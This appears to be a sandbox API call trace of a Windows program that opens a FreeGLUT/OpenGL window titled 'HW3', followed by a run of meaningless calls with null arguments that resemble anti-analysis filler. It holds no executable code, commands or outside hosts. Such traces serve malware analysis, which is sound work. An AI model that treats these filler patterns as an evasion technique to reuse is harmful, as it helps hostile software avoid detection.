dwFlags=0x0, lpMem=0x3d1320 | out: hHeap=0x3d0000) returned 1 [0127.173] GetLastError () returned 0x0 [0127.174] SetLastError (dwErrCode=0x0) [0127.174] GetLastError () returned 0x0 [0127.174] SetLastError (dwErrCode=0x0) [0127.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x200) returned 0x3d14e0 [0127.174] GetLastError () returned 0x0 [0127.174] SetLastError (dwErrCode=0x0) [0127.174] GetLastError () returned 0x0 [0127.174] SetLastError (dwErrCode=0x0) [0127.174] GetLastError () returned 0x0 [0127.174] SetLastError (dwErrCode=0x0) [0127.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3d1320 [0127.174] GetLastError () returned 0x0 [0127.174] SetLastError (dwErrCode=0x0) [0127.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x355) returned 0x3d2a00 [0127.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2a00 | out: hHeap=0x3d0000) returned 1 [0127.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0127.175] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3d16e8 [0127.175] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.176] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.176] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.176] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d16f8 [0127.177] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1708 [0127.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1718 [0127.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1728 [0127.177] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1738 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1748 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1758 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1768 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1778 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3d1400 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3d1410 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1428 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1410 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3d1400 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1428 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x30) returned 0x3d1428 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x48) returned 0x3d1460 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1428 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x68) returned 0x3d2a00 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1460 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x98) returned 0x3d1400 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2a00 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x3d2a00 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x3d2ae8 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2a00 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1f8) returned 0x3d2c40 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2ae8 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2f0) returned 0x3d2e40 [0127.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2c40 | out: hHeap=0x3d0000) returned 1 [0127.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x468) returned 0x3d3138 [0127.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2e40 | out: hHeap=0x3d0000) returned 1 [0127.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1400 [0127.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x320) returned 0x3d2a00 [0127.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d3138 | out: hHeap=0x3d0000) returned 1 [0127.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1778 | out: hHeap=0x3d0000) returned 1 [0127.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x320) returned 0x3d2d28 [0127.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2a00 | out: hHeap=0x3d0000) returned 1 [0127.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0127.179] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.179] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.179] GetLastError () returned 0x0 [0127.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fedc | out: lpSystemTimeAsFileTime=0x18fedc*(dwLowDateTime=0xd048c160, dwHighDateTime=0x1d595b2)) [0127.180] GetLastError () returned 0x0 [0127.180] GetLastError () returned 0x0 [0127.180] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe98 | out: lpWndClass=0x18fe98) returned 0 [0127.180] LoadIconA (hInstance=0x400000, lpIconName="GLUT_ICON") returned 0x0 [0127.180] LoadIconA (hInstance=0x0, lpIconName=0x7f05) returned 0x10031 [0127.180] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0127.180] RegisterClassA (lpWndClass=0x18fe98) returned 0x2ac119 [0127.180] GetSystemMetrics (nIndex=0) returned 1440 [0127.226] GetSystemMetrics (nIndex=1) returned 900 [0127.226] GetDesktopWindow () returned 0x10010 [0127.226] GetDC (hWnd=0x10010) returned 0x1401007f [0127.226] GetDeviceCaps (hdc=0x1401007f, index=4) returned 320 [0127.226] GetDeviceCaps (hdc=0x1401007f, index=6) returned 240 [0127.226] ReleaseDC (hWnd=0x10010, hDC=0x1401007f) returned 1 [0127.226] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0127.227] timeGetTime () returned 0x1135489 [0127.227] timeGetTime () returned 0x1135489 [0127.227] GetLastError () returned 0x0 [0127.227] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\FreeGLUT", phkResult=0x18fe60 | out: phkResult=0x18fe60*=0x0) returned 0x2 [0127.227] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1b8) returned 0x3d2a00 [0127.227] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe20 | out: lpWndClass=0x18fe20) returned 1 [0127.227] CopyRect (in: lprcDst=0x18fdd0, lprcSrc=0x18fe04 | out: lprcDst=0x18fdd0) returned 1 [0127.227] AdjustWindowRectEx (in: lpRect=0x18fdd0, dwStyle=0x6cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18fdd0) returned 1 [0127.227] CopyRect (in: lprcDst=0x18fe04, lprcSrc=0x18fdd0 | out: lprcDst=0x18fe04) returned 1 [0127.227] CreateWindowExA (dwExStyle=0x0, lpClassName="FREEGLUT", lpWindowName="HW3", dwStyle=0x6cf0000, X=0, Y=100, nWidth=66, nHeight=88, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x3d2a00) returned 0x10132 [0127.229] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x24, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0127.229] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x81, wParam=0x0, lParam=0x18f9e8) returned 0x1 [0127.231] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x83, wParam=0x0, lParam=0x18f9d4) returned 0x0 [0127.231] GetDC (hWnd=0x10132) returned 0xa0101f7 [0127.231] GetDeviceCaps (hdc=0xa0101f7, index=12) returned 32 [0127.231] ChoosePixelFormat (hdc=0xa0101f7, ppfd=0x18f714) returned 1 [0127.233] SetPixelFormat (hdc=0xa0101f7, format=1, ppfd=0x18f714) returned 1 [0127.233] wglCreateContext () returned 0x10000 [0127.239] ReleaseDC (hWnd=0x10132, hDC=0xa0101f7) returned 1 [0127.239] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1778 [0127.239] SetWindowLongA (hWnd=0x10132, nIndex=-16, dwNewLong=114229248) returned 114229248 [0127.239] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x7c, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0127.239] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x7d, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0127.447] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0127.447] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0127.447] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0127.448] SetWindowPos (hWnd=0x10132, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x27) returned 1 [0127.448] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.448] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x83, wParam=0x1, lParam=0x18fd84) returned 0x0 [0127.449] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.449] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x47, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.450] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x83, wParam=0x1, lParam=0x18f990) returned 0x0 [0127.451] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x1c, wParam=0x1, lParam=0x3a8) returned 0x0 [0127.451] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0127.452] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0127.459] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0127.461] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0127.461] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0127.461] SetActiveWindow (hWnd=0x10132) returned 0x10132 [0127.461] UpdateWindow (hWnd=0x10132) returned 1 [0127.461] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x47, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.461] ShowWindow (hWnd=0x10132, nCmdShow=1) returned 0 [0127.462] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0127.472] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0127.474] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x14, wParam=0xa0101f7, lParam=0x0) returned 0x0 [0127.474] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0127.474] GetDC (hWnd=0x10132) returned 0xa0101f7 [0127.474] wglMakeCurrent () returned 0x1 [0127.475] glViewport () returned 0x26d2a0 [0127.475] IsIconic (hWnd=0x10132) returned 0 [0127.475] GetWindowRect (in: hWnd=0x10132, lpRect=0x18fb08 | out: lpRect=0x18fb08) returned 1 [0127.475] ShowCursor (bShow=1) returned 1 [0127.475] glDrawBuffer () returned 0x1 [0127.476] glReadBuffer () returned 0x1 [0127.476] wglGetProcAddress () returned 0x0 [0127.476] glClearColor () returned 0x26d2a0 [0127.476] glClearDepth () returned 0x26d2b8 [0127.476] glEnable () returned 0x26d2c8 [0127.476] glDepthFunc () returned 0x26d2d0 [0127.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1400 [0127.476] timeGetTime () returned 0x1135574 [0127.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1420 [0127.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1430 [0127.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1440 [0127.476] GetLastError () returned 0x7f [0127.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3d1450 [0127.476] GetLastError () returned 0x7f [0127.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1468 [0127.477] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.477] GetLastError () returned 0x7f [0127.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3d1488 [0127.477] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1468 | out: hHeap=0x3d0000) returned 1 [0127.477] GetLastError () returned 0x7f [0127.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x30) returned 0x3d1450 [0127.477] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1488 | out: hHeap=0x3d0000) returned 1 [0127.477] GetLastError () returned 0x7f [0127.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x48) returned 0x3d1488 [0127.477] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.477] GetLastError () returned 0x7f [0127.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1450 [0127.477] GetLastError () returned 0x7f [0127.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x48) returned 0x3d2bc0 [0127.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1460 [0127.477] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1450 [0127.478] GetLastError () returned 0x7f [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x90) returned 0x3d2c10 [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d0 [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e0 [0127.478] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1460 | out: hHeap=0x3d0000) returned 1 [0127.478] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2bc0 | out: hHeap=0x3d0000) returned 1 [0127.478] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0127.478] GetLastError () returned 0x7f [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xd8) returned 0x3de0b8 [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0127.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0127.478] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e0 | out: hHeap=0x3d0000) returned 1 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d0 | out: hHeap=0x3d0000) returned 1 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2c10 | out: hHeap=0x3d0000) returned 1 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0127.479] GetLastError () returned 0x7f [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x120) returned 0x3d2bc0 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d0 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e0 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd930 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd940 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f0 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3d1450 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1468 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3d2ce8 [0127.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1468 | out: hHeap=0x3d0000) returned 1 [0127.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3d1450 [0127.479] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 1 [0127.479] GetMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18feb4) returned 1 [0127.479] TranslateMessage (lpMsg=0x18feb4) returned 0 [0127.479] DispatchMessageA (lpMsg=0x18feb4) returned 0x0 [0127.479] GetUpdateRect (in: hWnd=0x10132, lpRect=0x18fb30, bErase=0 | out: lpRect=0x18fb30) returned 1 [0127.480] BeginPaint (in: hWnd=0x10132, lpPaint=0x18faf0 | out: lpPaint=0x18faf0) returned 0xa0101f7 [0127.480] EndPaint (hWnd=0x10132, lpPaint=0x18faf0) returned 1 [0127.480] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 0 [0127.480] timeGetTime () returned 0x1135578 [0127.480] GetWindowRect (in: hWnd=0x10132, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0127.480] GetClientRect (in: hWnd=0x10132, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0127.480] glViewport () returned 0x26d2d8 [0127.480] wglGetCurrentDC () returned 0xa0101f7 [0127.480] WindowFromDC (hDC=0xa0101f7) returned 0x10132 [0127.480] ShowWindow (hWnd=0x10132, nCmdShow=0) returned 1 [0127.480] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x46, wParam=0x0, lParam=0x18fde0) returned 0x0 [0127.484] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x47, wParam=0x0, lParam=0x18fde0) returned 0x0 [0127.485] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0127.490] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0127.490] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x1c, wParam=0x0, lParam=0x3a8) returned 0x0 [0127.490] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0127.490] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0127.490] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0127.490] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0127.491] GetClassFileOrMime (pBC=0x0, szFilename=0x0, pBuffer=0x0, cbSize=0x0, szMime=0x0, dwReserved=0x0, pclsid=0x0) returned 0x80070057 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetParent (hWnd=0x0) returned 0x0 [0127.491] GetPerformanceInfo (pPerformanceInformation=0x18fa6c, cb=0x0) returned 0 [0127.491] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0127.491] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de0b8 [0127.491] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de0d8 [0127.491] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de110 [0127.491] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de130 [0127.491] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0127.491] GetConsoleWindow () returned 0x0 [0127.492] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0127.492] CombineRgn (hrgnDst=0x0, hrgnSrc1=0x0, hrgnSrc2=0x0, iMode=1) returned 0 [0127.492] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f68c, fWinIni=0x0 | out: pvParam=0x18f68c) returned 1 [0127.492] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0127.492] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d8 | out: hHeap=0x3d0000) returned 1 [0127.492] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de130 | out: hHeap=0x3d0000) returned 1 [0127.492] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de110 | out: hHeap=0x3d0000) returned 1 [0127.492] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0127.492] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0127.492] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0127.492] GetLastError () returned 0x578 [0127.492] InitCommonControls () [0127.492] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0127.492] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=0) returned 0x0 [0127.492] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-514) returned 0x0 [0127.492] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-6791920) returned 0x0 [0127.492] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0127.492] LoadIconA (hInstance=0x400000, lpIconName=0xec) returned 0x0 [0127.492] SCardForgetReaderA (hContext=0x0, szReaderName=0x0) returned -2146435055 [0127.658] LoadIconA (hInstance=0x400000, lpIconName=0x96) returned 0x0 [0127.658] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0127.658] LoadIconA (hInstance=0x400000, lpIconName=0xc) returned 0x0 [0127.658] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.658] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.658] SCardGetCardTypeProviderNameA (in: hContext=0x0, szCardName=0x0, dwProviderId=0x0, szProvider=0x0, pcchProvider=0x18f618 | out: szProvider=0x0, pcchProvider=0x18f618) returned -2146435068 [0127.659] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.659] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.659] ImageList_Create (cx=20, cy=16, flags=0x1, cInitial=2, cGrow=2) returned 0x2a93f8 [0127.659] LoadIconA (hInstance=0x400000, lpIconName=0xfdfe) returned 0x0 [0127.659] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0127.660] ImageList_ReplaceIcon (himl=0x2f00002f, i=-1, hicon=0x0) returned -1 [0127.660] ImageList_ReplaceIcon (himl=0x2f00002f, i=-1, hicon=0x0) returned -1 [0127.660] SendMessageA (hWnd=0x0, Msg=0x1109, wParam=0x0, lParam=0x2f00002f) returned 0x0 [0127.660] DestroyCursor (hCursor=0x0) returned 0 [0127.660] DestroyCursor (hCursor=0x0) returned 0 [0127.660] DestroyCursor (hCursor=0x0) returned 0 [0127.660] DestroyCursor (hCursor=0x0) returned 0 [0127.660] DestroyCursor (hCursor=0x0) returned 0 [0127.660] DestroyCursor (hCursor=0x0) returned 0 [0127.660] SendMessageA (hWnd=0x0, Msg=0x110a, wParam=0x0, lParam=0x0) returned 0x0 [0127.660] SendMessageA (hWnd=0x0, Msg=0x110b, wParam=0x9, lParam=0x0) returned 0x0 [0127.660] IsWindow (hWnd=0x10132) returned 1 [0127.660] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0127.660] GetDC (hWnd=0x0) returned 0x601015d 